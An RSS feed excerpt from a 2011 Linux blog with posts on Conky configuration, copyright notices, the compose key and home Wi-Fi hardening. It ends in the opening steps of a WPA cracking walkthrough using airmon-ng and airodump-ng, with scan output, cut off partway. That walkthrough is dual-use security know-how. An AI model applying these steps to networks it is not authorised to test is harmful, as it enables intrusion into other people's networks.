words, "a <strong style="font-weight: normal;">free, light-weight
system monitor ... </strong>that displays any information on your
desktop." Sounds pretty dull, right? Well check it out ...<br>
<br>
<br>
<br>
<table style="text-align: left; width: 420px;" border="0"
cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><a
href="http://geekyschmidt.com/2009/03/29/conky-setup"><img
style="border: 0px solid ; width: 200px; height: 473px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/conky1.jpg"></a><br>
</td>
<td style="vertical-align: middle;"><a
href="http://wlourf.deviantart.com/art/Text-widget-for-Conky-2-169288805"><img
style="border: 0px solid ; width: 200px; height: 409px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/conky4.jpg"></a><br>
</td>
</tr>
<tr>
<td style="vertical-align: top;"><a
href="http://www.rationalplanet.com/linux/conky-colors-plus-on-fedora-11.html"><img
style="border: 0px solid ; width: 200px; height: 591px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/conky3.jpg"></a><br>
</td>
<td style="vertical-align: middle;"><a
href="http://hardikmehta.wordpress.com/2009/08/04/a-script-to-display-weather-forecast-for-conkyconky-screen-shot/"><img
style="border: 0px solid ; width: 200px; height: 517px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/conky5.jpg"></a><br>
</td>
</tr>
<tr>
<td colspan="2" rowspan="1" style="vertical-align: top;"><a
href="http://conky.linux-hardcore.com/?page_id=2015"><img
style="border: 0px solid ; width: 420px; height: 274px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/conky2.jpg"></a><br>
</td>
</tr>
<tr align="center">
<td colspan="2" rowspan="1" style="vertical-align: top;"><small><span
style="font-style: italic;">Click on the graphics above</span><br
style="font-style: italic;">
<span style="font-style: italic;">to link to details of how they
were done!</span></small><br>
</td>
</tr>
</tbody>
</table>
<br>
<br>
Installing Conky's a doddle: just use your package manager. For
Ubuntu/Debian users, that means simply typing <br>
<br>
<table
style="text-align: left; width: 100%; background-color: rgb(255, 255, 204);"
border="0" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><big
style="font-family: monospace;"><span style="font-weight: bold;">sudo
apt-get install conky</span></big><br>
</td>
</tr>
</tbody>
</table>
<br>
on the command line.<br>
<br>
Once it's installed, you'll need a <span style="font-weight: bold;">.conkyrc</span>
script in your <span style="font-weight: bold;">/home/<span
style="font-style: italic;">username</span></span> folder. Here's a
basic one to get&nbsp; you started ...<br>
<br>
<style type="text/css">
div.html-scroll-box {
height:500px;
width:400px;
font:8pt courier;
overflow:scroll;
}
</style>
<div class="html-scroll-box"># Use Xft?
# Use Xft?<br>
use_xft yes<br>
xftfont OFL Sorts Mill Goudy:size=8<br>
xftalpha 0.8<br>
text_buffer_size 2048<br>
<br>
# This is the number of times Conky will update before quitting.<br>
# Set to zero to run forever.<br>
total_run_times 0<br>
<br>
# Update interval in seconds<br>
update_interval 1<br>
<br>
# Create own window instead of using desktop (required in nautilus)<br>
own_window yes<br>
own_window_type override<br>
own_window_class conky<br>
own_window_type panel<br>
background no<br>
own_window_type normal<br>
own_window_transparent yes<br>
own_window_argb_visual yes<br>
own_window_hints undecorated,below,sticky,skip_taskbar,skip_pager<br>
own_window_title conky-semi<br>
own_window_class conky-semi<br>
<br>
alignment top_right<br>
border_width 1<br>
cpu_avg_samples 2<br>
default_color white<br>
default_outline_color white<br>
default_shade_color white<br>
draw_borders no<br>
draw_graph_borders yes<br>
draw_outline no<br>
draw_shades no<br>
use_xft yes<br>
xftfont DejaVu Sans Mono:size=8<br>
gap_x 10<br>
gap_y 10<br>
minimum_size 5 5<br>
net_avg_samples 2<br>
no_buffers yes<br>
out_to_console no<br>
out_to_stderr no<br>
extra_newline no<br>
own_window yes<br>
own_window_class Conky<br>
own_window_type desktop<br>
stippled_borders 0<br>
<br>
uppercase no<br>
use_spacer none<br>
show_graph_scale no<br>
show_graph_range no<br>
<br>
# Use double buffering (reduces flicker, may not work for everyone)<br>
double_buffer yes <br>
<br>
TEXT<br>
${color goldenrod}Hostname: ${color} $nodename<br>
${color goldenrod}Linux Kernel: ${color} $kernel<br>
${color goldenrod}CPU Details: ${color} $machine, $freq(MHz)<br>
$color$stippled_hr<br>
${color}CPU History: ${color darkgreen}${cpugraph 20,0 0000ff 00ff00}<br>
${color}CPU Usage:${color magenta2} $cpu% ${cpubar 6,0}<br>
<br>
${color}RAM Usage:${color green} $mem ($memperc%) ${membar 6,0}<br>
${color}Available RAM:${color green} $memmax<br>
${color}Swap Usage:${color yellow} $swap/$swapmax - $swapperc%
${swapbar 4}<br>
<br>
${color grey}Processes:$color $processes ${color grey}Running:$color
$running_processes<br>
$color$stippled_hr<br>
${color}File systems:<br>
/ $color${fs_used /}/${fs_size /} ${fs_bar 6 /}<br>
${color grey} Used: $color$fs_used_perc% ${color grey}Free:
$color$fs_free_perc%<br>
${color}Networking:<br>
${color grey}Ethernet: Up:$color ${upspeed eth0} ${color grey}
Down:$color ${downspeed eth0}<br>
${color grey}Wireless: Up:$color ${upspeed wlan0} ${color grey}
Down:$color ${downspeed wlan0}<br>
$color$stippled_hr<br>
$alignc${color}Processes:$color $processes ${color grey}Running:$color
$running_processes<br>
$alignc${color}(top 5 sorted by CPU usage)<br>
${color goldenrod} NAME PID CPU% MEM%<br>
${color} ${top name 1} ${top pid 1} ${top cpu 1} ${top mem 1}<br>
${color} ${top name 2} ${top pid 2} ${top cpu 2} ${top mem 2}<br>
${color} ${top name 3} ${top pid 3} ${top cpu 3} ${top mem 3}<br>
${color} ${top name 4} ${top pid 4} ${top cpu 4} ${top mem 4}<br>
${color} ${top name 5} ${top pid 5} ${top cpu 5} ${top mem 5}<br>
<br>
$alignc${color}(top 5 sorted by MEM usage)<br>
${color goldenrod} NAME PID CPU% MEM%<br>
${color} ${top_mem name 1} ${top_mem pid 1} ${top_mem cpu 1} ${top_mem
mem 1}<br>
${color} ${top_mem name 2} ${top_mem pid 2} ${top_mem cpu 2} ${top_mem
mem 2}<br>
${color} ${top_mem name 3} ${top_mem pid 3} ${top_mem cpu 3} ${top_mem
mem 3}<br>
${color} ${top_mem name 4} ${top_mem pid 4} ${top_mem cpu 4} ${top_mem
mem 4}<br>
${color} ${top_mem name 5} ${top_mem pid 5} ${top_mem cpu 5} ${top_mem
mem 5}<br>
$color$stippled_hr<br>
$alignc${color}System Uptime:${color DarkOrange1} $uptime<br>
<br>
</div>
<br>
<br>
Now all you need do is kick off Conky by hitting <span
style="font-weight: bold;">Alt+F2</span> and entering conky, or type
this on the command line:<br>
<br>
<table
style="text-align: left; width: 100%; background-color: rgb(255, 255, 204);"
border="0" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><big
style="font-family: monospace;"><span style="font-weight: bold;">conky
&amp;</span></big><br>
</td>
</tr>
</tbody>
</table>
<br>
(The ampersand (&amp;) will make it run as a background process.)<br>
<br>
Now here's the fun part. Open <span style="font-weight: bold;">.conkyrc</span>
in a regular text editor and make changes to it. Save those changes,
and your display should be updated. Make some more changes, save them,
and again you'll see the changes immediately reflected in Conky --
well, within a second anyway. That's what that line;<br>
<br>
<big style="font-family: monospace;">update_interval 1</big><br>
<br>
is all about. In practice, once you're happy with your setup, you might
want to reduce it to only update every five or ten seconds.<br>
<br>
And what if the Conky display disappears altogether? Use <span
style="font-weight: bold;">Undo</span> to undo whatever you last
changed in <span style="font-weight: bold;">.conkyrc </span>and
re-save it or, if it's totally screwed, use <span
style="font-weight: bold;">Alt+F2</span> or the command line to enter <big
style="font-family: monospace; font-weight: bold;">killall conky</big>
and restart from scratch.<br>
<br>
For (much) more documentation on settings and features, type<br>
<br>
<table
style="text-align: left; width: 100%; background-color: rgb(255, 255, 204);"
border="0" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><big
style="font-family: monospace;"><span style="font-weight: bold;">man
conky</span></big><br>
</td>
</tr>
</tbody>
</table>
<br>
or<br>
<br>
<table
style="text-align: left; width: 100%; background-color: rgb(255, 255, 204);"
border="0" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><big
style="font-family: monospace;"><span style="font-weight: bold;">man
conky &gt; conky.txt</span></big><br>
</td>
</tr>
</tbody>
</table>
<br>
to copy the manual pages to a file called <span
style="font-weight: bold;">conky.txt</span>, from whence you can study
them at leisure!<br>
<br>
<small><span style="font-style: italic;"><br>
<br>
</span></small>
<table style="text-align: left; width: 400px;" border="0"
cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><a
href="http://blogs.pcworld.co.nz/pcworld/tux-love/2011/10/hidden_linux_recomposing_compo.html"><img
src="http://blogs.pcworld.co.nz/pcworld/tux-love/previous.jpg"
alt="Previous Hidden Linux"
style="border: 0px solid ; width: 155px; height: 50px;"></a></td>
<td style="vertical-align: top;"><br>
</td>
<td style="vertical-align: top; text-align: right;"><br>
</td>
</tr>
</tbody>
</table>
<small><span style="font-style: italic;"><br>
<br>
<br>
<br>
<a href="http://www.twitter.com/GeoffPalmer"> <img
style="border: 0px solid ; width: 134px; height: 42px;"
src="http://blogs.pcworld.co.nz/pcworld/tux-love/twitter-kiwi.gif"
alt="Follow Geoff Palmer on Twitter"></a>
</span></small>]]></description>
         <link>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/11/hidden_linux_divide_and_conky.html</link>
         <guid>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/11/hidden_linux_divide_and_conky.html</guid>
         <category>Hidden Linux</category>
         <pubDate>Sun, 20 Nov 2011 21:16:37 +1300</pubDate>
      </item>
            <item>
         <title>Infringement notices on the way</title>
         <description><![CDATA[<img src="http://blogs.pcworld.co.nz/pcworld/tux-love/spy.gif" alt=""
style="width: 119px; height: 120px; float: left;" align="left"
hspace="5" vspace="5"><br>
Here they come. The first copyright infringement notices under the
two-month old <a
href="http://www.legislation.govt.nz/act/public/2011/0011/latest/DLM2764312.html">Copyright
Amendment Act</a> are currently <a
href="http://www.stuff.co.nz/technology/digital-living/5887377/First-copyright-infringement-notices-issued">winging
their way to unlucky downloaders</a>. Telecom have fired off 42, Orcon
eight and TelstraClear -- whose Chief Executive Allan Freeth at least <a
href="http://www.telstraclear.co.nz/company-info/media-release-template.cfm?newsid=421">spoke
out against this ridiculous law</a> -- are in the process of validating
"a few dozen allegations".<br>
<br>
So far, all appear to involve music downloads, with 40 of the 50 sent
to Telecom and Orcon involving tracks by Rhianna, and another six for
downloaders of Lady Gaga. Great to see the <a
href="http://www.rianz.org.nz/">Recording Industry Association of New
Zealand</a> -- which issued the notices -- looking after New Zealand
artists ...<br>
<br>
Let me know if you get one of these notices. I'm very interested in
seeing how this process works -- particularly if you challenge it.<br>
<br>
<br>
<span style="text-decoration: underline;">Footnote</span><br>
Here's the concluding paragraphs of Freeth's opinion piece "<a
href="http://www.telstraclear.co.nz/company-info/media-release-template.cfm?newsid=421">What's
wrong with copyright</a>":<br>
<br>
<table
style="text-align: left; width: 100%; background-color: rgb(238, 238, 238); font-style: italic;"
border="0" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;">Instead of bringing in a law
that we believe will not and cannot work,
our government should be breaking monopolies, allowing personal choice
and letting New Zealanders experience information and entertainment
when the rest of the world does.<br>
<br>
Instead, it has chosen to introduce a law that could turn ordinary
Kiwis into law-breakers.</td>
</tr>
</tbody>
</table>
<br>
<a href="http://www.twitter.com/GeoffPalmer"><img
style="border: 0px solid ; width: 134px; height: 42px;"
src="http://blogs.pcworld.co.nz/pcworld/tux-love/twitter-kiwi.gif"
alt="Follow Geoff Palmer on Twitter"></a>]]></description>
         <link>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/11/infringement_notices_on_the_wa.html</link>
         <guid>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/11/infringement_notices_on_the_wa.html</guid>
         <category>News</category>
         <pubDate>Wed, 02 Nov 2011 16:31:07 +1300</pubDate>
      </item>
            <item>
         <title>Hidden Linux : Recomposing Composers</title>
         <description><![CDATA[<img src="http://blogs.pcworld.co.nz/pcworld/tux-love/hiddenlinux.png"
alt="" style="width: 128px; height: 128px; float: left;" hspace="5"
vspace="5"><br>
I was recently faced with providing foreign language accent characters
in Linux. Most word processors allow you to do this graphically -- via
the <span style="font-weight: bold;">Insert</span> <span
style="font-weight: bold;">/ Special Characters</span> function in
LibreOffice or OpenOffice, for example -- but this soon gets tedious
for anything but the occasional insert. Doing it straight from the
keyboard would be considerably quicker...<br>
<br>
There are a number of ways to achieve this in Linux. Here's what I
reckon's the easiest.<br>
<br>
Open a console session and type:<br>
<br>
<table
style="text-align: left; width: 100%; background-color: rgb(255, 255, 204); font-weight: bold; font-family: monospace;"
border="0" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><big>setxkbmap -option
compose:ralt</big></td>
</tr>
</tbody>
</table>
<br>
And that's it! What you've done is assign a special Linux key called
&lt;compose&gt; to the right-hand ALT key -- that's the one to the
right of the Spacebar. (You could of course assign it to any key you
like, but personally I never use "ralt".)<br>
<br>
Now, hold down the <big><span style="font-family: monospace;">&lt;compose&gt;</span></big>
key and type <big><span style="font-family: monospace;">&lt;`&gt;</span></big>
followed by <big><span style="font-family: monospace;">&lt;e&gt;</span></big>
and you get an accented <big style="font-family: monospace;">è</big>
(that's the grave accent), while <big><span
style="font-family: monospace;">&lt;compose&gt;</span></big> + <big
style="font-family: monospace;">&lt;'&gt;</big> + <big><span
style="font-family: monospace;">&lt;e&gt;</span></big> yields <big
style="font-family: monospace;">é</big> (with an accute accent). <br>
<br>
Note that you can use these keys in any application. And that's just
the beginning! <br>
<br>
Using <big style="font-family: monospace;">&lt;compose&gt;</big> you
can generate hundreds of different symbols. To get an idea of the
possibilities, take a look at the file <span
style="color: rgb(51, 51, 255);">/usr/share/X11/locale/en_US.UTF-8/Compose.</span><br
style="color: rgb(51, 51, 255);">
<br>
Here's just a few of the characters you can create straight from the
keyboard. (I've rendered them in a large font so they display better.)<br>
<br>
<big><big><big style="font-family: monospace;"><big>&nbsp;&nbsp;
÷&nbsp;&nbsp; ©&nbsp;&nbsp; ®<br>
&nbsp;&nbsp; ô&nbsp;&nbsp; ø&nbsp;&nbsp; µ<br>
&nbsp;&nbsp; å&nbsp;&nbsp; ♥&nbsp;&nbsp; ¶<br>
&nbsp;&nbsp; £&nbsp;&nbsp; €&nbsp;&nbsp; ¥<br>
&nbsp;&nbsp; ₨&nbsp;&nbsp; ß&nbsp;&nbsp; ç<br>
&nbsp;&nbsp; ň&nbsp;&nbsp; ŋ&nbsp;&nbsp; ƶ<br>
&nbsp;&nbsp; Ã&nbsp;&nbsp; ±&nbsp;&nbsp; ☭</big></big></big></big><br>
<br>
And here are the key combinations I used to create them:<br>
<br>
<big style="font-family: monospace;">&lt;compose&gt; + &lt;:&gt; +
&lt;-&gt;<br>
&lt;compose&gt; + &lt;o&gt; + &lt;c&gt;<br>
&lt;compose&gt; + &lt;o&gt; + &lt;r&gt;<br>
<br>
&lt;compose&gt; + &lt;^&gt; + &lt;o&gt;<br>
&lt;compose&gt; + &lt;/&gt; + &lt;o&gt;<br>
&lt;compose&gt; + &lt;m&gt; + &lt;u&gt;<br>
<br>
&lt;compose&gt; + &lt;o&gt; + &lt;a&gt;<br>
&lt;compose&gt; + &lt;?&gt; + &lt;!&gt;<br>
&lt;compose&gt; + &lt;&lt;&gt; + &lt;3&gt;<br>
<br>
&lt;compose&gt; + &lt;P&gt; + &lt;P&gt;<br>
&lt;compose&gt; + &lt;l&gt; + &lt;-&gt;<br>
&lt;compose&gt; + &lt;e&gt; + &lt;=&gt;<br>
<br>
&lt;compose&gt; + &lt;y&gt; + &lt;=&gt;<br>
&lt;compose&gt; + &lt;R&gt; + &lt;s&gt;<br>
&lt;compose&gt; + &lt;s&gt; + &lt;s&gt;<br>
<br>
&lt;compose&gt; + &lt;,&gt; + &lt;c&gt;<br>
&lt;compose&gt; + &lt;c&gt; + &lt;n&gt;<br>
&lt;compose&gt; + &lt;n&gt; + &lt;g&gt;<br>
<br>
&lt;compose&gt; + &lt;/&gt; + &lt;z&gt;<br>
&lt;compose&gt; + &lt;_&gt; + &lt;A&gt;<br>
&lt;compose&gt; + &lt;+&gt; + &lt;-&gt;<br>
&lt;compose&gt; + &lt;C&gt; + &lt;C&gt; + &lt;C&gt; + &lt;P&gt;</big><br>
<br>
<br>
(And in case you're wondering about this column's title, it's a subtle
homage to a certain <a
href="http://www.youtube.com/watch?v=sjWPXybVjYE">Monty Python classic</a>...)<br>
<small><span style="font-style: italic;"><br>
</span></small><br>
<table style="text-align: left; width: 400px;" border="0"
cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><a
href="http://blogs.pcworld.co.nz/pcworld/tux-love/2011/09/hidden_linux_images_for_all.html"><img
src="http://blogs.pcworld.co.nz/pcworld/tux-love/previous.jpg"
alt="Previous Hidden Linux"
style="border: 0px solid ; width: 155px; height: 50px;"></a></td>
<td style="vertical-align: top;"><br>
</td>
<td style="vertical-align: top; text-align: right;"><a
href="http://blogs.pcworld.co.nz/pcworld/tux-love/2011/11/hidden_linux_divide_and_conky.html"><img
src="http://blogs.pcworld.co.nz/pcworld/tux-love/next.jpg"
alt="Next Hidden Linux"
style="border: 0px solid ; width: 155px; height: 50px;"></a></td>
</tr>
</tbody>
</table>
<small><span style="font-style: italic;"><br>
<a href="http://www.twitter.com/GeoffPalmer"> <img
style="border: 0px solid ; width: 134px; height: 42px;"
src="http://blogs.pcworld.co.nz/pcworld/tux-love/twitter-kiwi.gif"
alt="Follow Geoff Palmer on Twitter"></a>
</span></small>]]></description>
         <link>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/10/hidden_linux_recomposing_compo.html</link>
         <guid>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/10/hidden_linux_recomposing_compo.html</guid>
         <category>Hidden Linux</category>
         <pubDate>Thu, 27 Oct 2011 03:08:09 +1300</pubDate>
      </item>
            <item>
         <title>Cracking WPA wireless networks</title>
         <description><![CDATA[<img src="http://blogs.pcworld.co.nz/pcworld/tux-love/spy.gif" alt=""
style="width: 119px; height: 120px; float: left;" align="left"
hspace="5" vspace="5"><span style="font-weight: bold;">Part III:
Securing Your Wireless Network</span><br>
<br>
Wireless networks are wonderfully convenient but, as <a
href="http://blogs.pcworld.co.nz/pcworld/tux-love/2011/10/cracking_wpa_wireless_networks.html">we've</a>
<a
href="http://blogs.pcworld.co.nz/pcworld/tux-love/2011/10/cracking_wpa_wireless_networks_1.html">seen</a>,
they're also vulnerable to being hacked. Here's how to make it hard for
hackers!<br>
<br>
<br>
<h2><span style="font-weight: bold;">Essential Measures</span></h2>
<span style="font-weight: bold;">1. Use a proper password</span><br>
What makes a good password? Anything that's not in a dictionary for a
start! If you want to use something memorable, think passphrases rather
than passwords. "2 bee 0r NoT two-B" is vastly more secure than "To be
or not to be", but for real security you can't beat long strings of
properly randomised junk. How about<br>
<br>
<big style="font-family: monospace;">bT6i3W429TQRxnefaD1xtZc3b6kgit2eMbk52S0ndK1Km5upS2AI9iakyTZIvqt</big><br>
<br>
or <br>
<br>
<big style="font-family: monospace;">&lt;CL$8L=noSj+^1)5&lt;4LTaB7#R%PHH2-204V^_fj.@t:%kpsO0p,vJOS8&lt;-qEOm^</big><br>
<br>
Now they're what I call passwords! Both come from Steve Gibson's <a
href="https://www.grc.com/passwords.htm">Perfect Passwords</a>
generator. You don't have to use the whole string. Just the first 10-12
characters would do. If you do use the whole string, you'll need to
save it on a USB stick which makes it a little less convenience, but no
one's ever likely to crack your network.<br>
<br>
<br>
<span style="font-weight: bold;">2. Change the default password</span><br>
Don't let a hacker reconfigure your hardware! Your wireless router will
come with a default password. Change it! There are plenty of lists
around (<a
href="http://www.governmentsecurity.org/articles/default-logins-and-passwords-for-networked-devices.html">like
this one</a>) containing default logins and passwords.<br>
<br>
<br>
<span style="font-weight: bold;">3. Enable encryption</span><br>
Without encryption, anyone can capture your wireless traffic! Use WPA2
in preference to WPA. Don't ever use WEP, it can be cracked in minutes.<br>
<br>
<br>
<span style="font-weight: bold;">4. Update your firmware</span><br>
Things change, new vulnerabilities are discovered daily. Check your
router's running the latest firmware update.<br>
<br>
<br>
<span style="font-weight: bold;">5. Use HTTPS for management</span><br>
If you manage your router wirelessly, do so via (encrypted) HTTPS
rather than regular HTTP. With the latter, your router's login name and
password will be broadcast in clear text.<br>
<br>
<br>
<br>
<h2><span style="font-weight: bold;">Useful Measures</span></h2>
<span style="font-weight: bold;">6. Disable SSID</span><br>
Disabling the SSID (Service Set Identifier) will essentially hide your
network from casual passers-by. Experienced hackers will still easily
detect it, but it requires a little extra work and suggests its owner
has a little extra savvy, so they may go for an easier target.<br>
<br>
<br>
<span style="font-weight: bold;">7. Turn on logging</span><br>
Router logs are often disabled by default. Turn them on. Some routers
will even email you of suspicious activity. Invaluable!<br>
<br>
<br>
<span style="font-weight: bold;">8. Switch it off!</span><br>
If you're going away for a while, turn off your router -- or at least
the switch off Wi-Fi. If it ain't broadcasting, it can't be hacked!<br>
<br>
<br>
<br>
<h2><span style="font-weight: bold;">Not So Useful Stuff</span></h2>
<span style="font-weight: bold;">9. Filter MAC addresses</span><br>
Every piece of networked equipment has a unique Media Access Control
(MAC) address, and at first it would seem to be a good idea to only
allow access to particular devices. But the internal tables are a pain
to maintain -- you'll have to determine and add the MAC address of
every new piece of equipment you connect -- and they're trivially easy
to spoof anyway, so Not So Useful.<br>
<br>
<br>
<span style="font-weight: bold;">10. Disable DHCP</span><br>
Again, I put this in the Not So Useful category merely because it's a
pain to maintain. With <br>
Dynamic Host Control Protocol (DHCP) enabled, new devices are
automatically assigned IP addresses. With it disabled, they have to be
assigned manually. For most casual users that's just a hassle.<br>
<br>
<br>
<a href="http://www.twitter.com/GeoffPalmer"><img
style="border: 0px solid ; width: 134px; height: 42px;"
src="http://blogs.pcworld.co.nz/pcworld/tux-love/twitter-kiwi.gif"
alt="Follow Geoff Palmer on Twitter"></a>]]></description>
         <link>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/10/cracking_wpa_wireless_networks_2.html</link>
         <guid>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/10/cracking_wpa_wireless_networks_2.html</guid>
         <category>Security</category>
         <pubDate>Mon, 17 Oct 2011 18:04:29 +1300</pubDate>
      </item>
            <item>
         <title>Cracking WPA wireless networks</title>
         <description><![CDATA[<img src="http://blogs.pcworld.co.nz/pcworld/tux-love/spy.gif" alt=""
style="width: 119px; height: 120px; float: left;" align="left"
hspace="5" vspace="5"><span style="font-weight: bold;"><br />Part II: The
crack</span><br>
<br>
Having <a
href="http://blogs.pcworld.co.nz/pcworld/tux-love/2011/10/cracking_wpa_wireless_networks.html">assembled
the tools</a>, it's time to get to cracking. Literally!<br>
<br>
<table
style="text-align: left; width: 100%; background-color: rgb(255, 238, 238); color: rgb(204, 0, 0);"
border="0" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><span
style="text-decoration: underline; font-weight: bold;">Note:</span>
The network I cracked belonged to a friend. I did so with his
permission, purely as a security exercise. <span
style="font-style: italic;">Using these tools for any
other purpose is probably illegal! <br>
<br>
</span>Also note that in the examples that follow I've randomly
altered network names and MAC addresses.<span
style="font-style: italic;"><br>
</span></td>
</tr>
</tbody>
</table>
<br>
(I used the <a href="http://www.aircrack-ng.org/doku.php?id=slitaz">Slitaz
Live Aircrack-ng Distribution</a> on a USB stick for this attack. It's
Linux, of course, so if you're running from Windows, the command syntax
may be slightly different.)<br>
<br>
<br>
<br>
<span style="font-weight: bold;">1. Start monitor mode</span><br>
<a href="http://en.wikipedia.org/wiki/Aircrack-ng">Aircrack-ng</a> is a
suite of command-line tools, so open up a console window. <br>
<br>
The first step is the critical one. You need to turn your wirelss card
into monitor mode:<br>
<br>
<table style="text-align: left; width: 100%;" border="0" cellpadding="2"
cellspacing="2">
<tbody>
<tr>
<td
style="vertical-align: top; background-color: rgb(255, 255, 204);"><big
style="font-weight: bold; font-family: monospace;">airmon-ng start
wlan0</big><br>
</td>
</tr>
</tbody>
</table>
<br>
Here's what that yielded on my laptop:<br>
<br>
<table style="text-align: left; width: 100%; background-color: black;"
border="0" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><big
style="font-family: monospace;"><span
style="color: white; font-weight: bold;">Interface&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Chipset&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Driver</span><br
style="color: white; font-weight: bold;">
<br style="color: white; font-weight: bold;">
<span style="color: white; font-weight: bold;">wlan1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Broadcom&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; b43 - [phy0]</span><br
style="color: white; font-weight: bold;">
<span style="color: white; font-weight: bold;">wlan0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Realtek RTL8187L rtl8187 - [phy1]</span><br
style="color: white; font-weight: bold;">
<span style="color: white; font-weight: bold;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
(monitor mode enabled on mon0)</span><br
style="color: white; font-weight: bold;">
</big><br>
</td>
</tr>
</tbody>
</table>
<br>
Success! But only on the USB wireless card. The laptop's built-in
Broadcom card may work with a <a
href="http://www.aircrack-ng.org/doku.php?id=getting_started">driver</a>,
but that could require a lot more work.<br>
<br>
<br>
<br>
<span style="font-weight: bold;">2. Scan for targets</span><br>
Okay, let's see what networks are out there that we can monitor ...<br>
<br>
<table style="text-align: left; width: 100%;" border="0" cellpadding="2"
cellspacing="2">
<tbody>
<tr>
<td
style="vertical-align: top; background-color: rgb(255, 255, 204);"><big
style="font-weight: bold; font-family: monospace;">airodump-ng mon0</big><br>
</td>
</tr>
</tbody>
</table>
<br>
Airodump-ng is a wireless packet capture tool that details all the
access points and clients within range.<br>
<br>
<table style="text-align: left; width: 100%; background-color: black;"
border="0" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><big
style="font-family: monospace;"><span
style="color: white; font-weight: bold;">BSSID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
PWR&nbsp; Beacons&nbsp;&nbsp;&nbsp; #Data, #/s&nbsp; CH&nbsp;
MB&nbsp;&nbsp; ENC&nbsp; CIPHER AUTH&nbsp; ESSID<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
&nbsp;00:16:50:59:52:9C&nbsp; -50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
63&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp; 6&nbsp; 54e&nbsp; WPA&nbsp; TKIP&nbsp;&nbsp; PSK&nbsp;
Scuba<br>
&nbsp;00:22:75:31:11:5A&nbsp; -51&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
32&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp; 1&nbsp; 54e&nbsp; WPA2 CCMP&nbsp;&nbsp; PSK&nbsp;
MyNetwork<br>
<span style="color: rgb(255, 204, 204);">&nbsp;<span
style="color: rgb(153, 255, 153);">00:12:34:56:98:AB&nbsp;
-53&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
47&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp; 3&nbsp; 54e. WPA2 CCMP&nbsp;&nbsp; PSK&nbsp; Target_Net</span></span><br>
&nbsp;00:11:95:DD:8D:99&nbsp; -60&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp; 1&nbsp; 54&nbsp;&nbsp; WEP&nbsp;
WEP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Private Network<br>
&nbsp;00:22:74:52:86:3F&nbsp; -61&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
28&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 16&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp; 7&nbsp; 54e&nbsp; WPA2 CCMP&nbsp;&nbsp; PSK&nbsp;
Belkin_N_Wireless_02843F<br>
&nbsp;00:02:63:50:20:22&nbsp; -61&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
30&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 43&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp; 9&nbsp; 11 .
